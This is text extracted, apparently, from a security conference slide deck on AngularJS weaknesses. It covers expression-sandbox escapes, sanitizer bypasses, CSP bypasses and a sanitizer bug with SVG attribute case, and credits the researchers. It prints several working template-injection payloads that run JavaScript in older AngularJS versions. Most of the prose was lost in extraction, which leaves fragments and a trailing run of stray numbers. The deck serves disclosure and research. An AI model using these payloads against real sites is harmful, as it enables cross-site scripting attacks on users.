PowerPoint
AngularJS
[email protected] || @0x6D6172696F
DOM
Cure53
HTML5DOM SVG
JavaScriptXSS
HTML5
DOM
@0x6D6172696F
AngularJS
AngularJSJava)
AngularJS
JavaScript MVC
MVWModel-View-Whatever
GitHub
AngularJS
AngularJS
AngularJS
Web
API
HTMLmarkup-sugar
Version 2.0
MVC?
AngularJS
Web
$scope.$eval CSPCSP
https://docs.angularjs.org/guide/security
A1:
A2:
A3: CSP
A4:
A1
A1: AngularJS
AngularJS
DOM
DOM
AngularJS
XSS
A1:
AngularJS
{{constructor.constructor('alert(1)')()}}
constructor constructor Function
Function('code here')(); // like an eval
AngularJS1.01.2.0
AngularJS 1.1.x
API
{{ constructor.constructor('alert(1)')() }}
A1:
AngularJS
Function ()
Function
AngulartJS
ES5 __proto__
A1:
AngularJS
Jann HornMathias KarlssonGbor Molnr
Function
{{ toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor) }}
{{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }}
A1:
Jann Horn 1.3.2
{{objectPrototype = ({})[['__proto__']];objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);$root.$$listenerCount[['constructor']] = 0;$root.$$listeners = [].map;$root.$$listeners.indexOf = [].map.bind;functionPrototype = [].map[['__proto__']];functionToString = functionPrototype.toString;functionPrototype.push = ({}).valueOf;functionPrototype.indexOf = [].map.bind;foo = $root.$on('constructor', null);functionPrototype.toString = $root.$new;foo();}}{{functionPrototype.toString = functionToString;functionPrototype.indexOf = null;functionPrototype.push = null;$root.$$listeners = {};baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')();baz = true;''}}
A1:
1.3.2
windowFunctionObjectcall() apply()documentDOM
RegEx newanonymous
{{'this is how you write a number properly. also, numbers are basically arrays.';0[['__proto__']].toString = [][['__proto__']].pop;0[['__proto__']][0] = 'alert("TROLOLOL\\n"+document.location)';0[['__proto__']].length = 1;'did you know that angularjs eval parses, then re-stringifies numbers? :)';$root.$eval("x=0", $root);}}
A1:
copy&paste
PASTE HERE
A2
A2:
AngularJSHTML
$sanitize
XSSHTML
HTML
A2:
2008HTML
John E. Resig
Chrome
Gareth Heyes!
:
Chrome SVG !
A2:
DOM
document.implementation DOMPurify
SVG(--)
SVG
SVG
Chrome
Roman Shafigullin
:
Chrome mXSS
A3
A3: CSP
AngularJSCSP
CSP Content Security Policy.
XSS
CSP
A3: CSP
CSPAngularJSWeb
onclick=alert(1)
ng-click=$event.view.alert(1)
$event view window
Version1.1.5
XSSXSSXSSXSSXSS
A3:
AngularJSwindow
ChromeBlob
Blob AngularJS
ES6 Reflect API.
Version 1.3.1
Chrome Reflect.construct()
Firefox Edge blobCSP
XSS
XSS
XSS
A3: CSP
Google CDN
Google collision check
1.2.15
WARNING: Tried to load angular more than once.
Google CDNCSP
CLICKME">
A4
A4:
AngularJS
Google AngularJS
A4: The Con-Setup
QAPull
$sanitizer
!
A4:
// SVG attributes (without "id" and "name" attributes)// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributesvar svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' + 'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' + 'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' + 'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' + 'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' + 'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' + 'zoomAndPan');
WHATWG Wiki: https://wiki.whatwg.org/wiki/Sanitization_rules
A4:
angular.forEach(attrs, function(value, key) { var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background'); if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } });
lowercase SVG
A4:
^^
A4:
href
A4:
AngularJS Team
(^^;;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
(^O^)/
AngularJS
CSP
Gareth McHeyes
Jann Horn
Mathias Karlsson
Gbor Molnr
David Ross
Eduardo Vela
2
3
4
5
2
3
4
5
2
3
4
5
2
3
4
5
2
3
4
5
2
3
4
5
2
3
4
5
2
3
4
5
2
3
4
5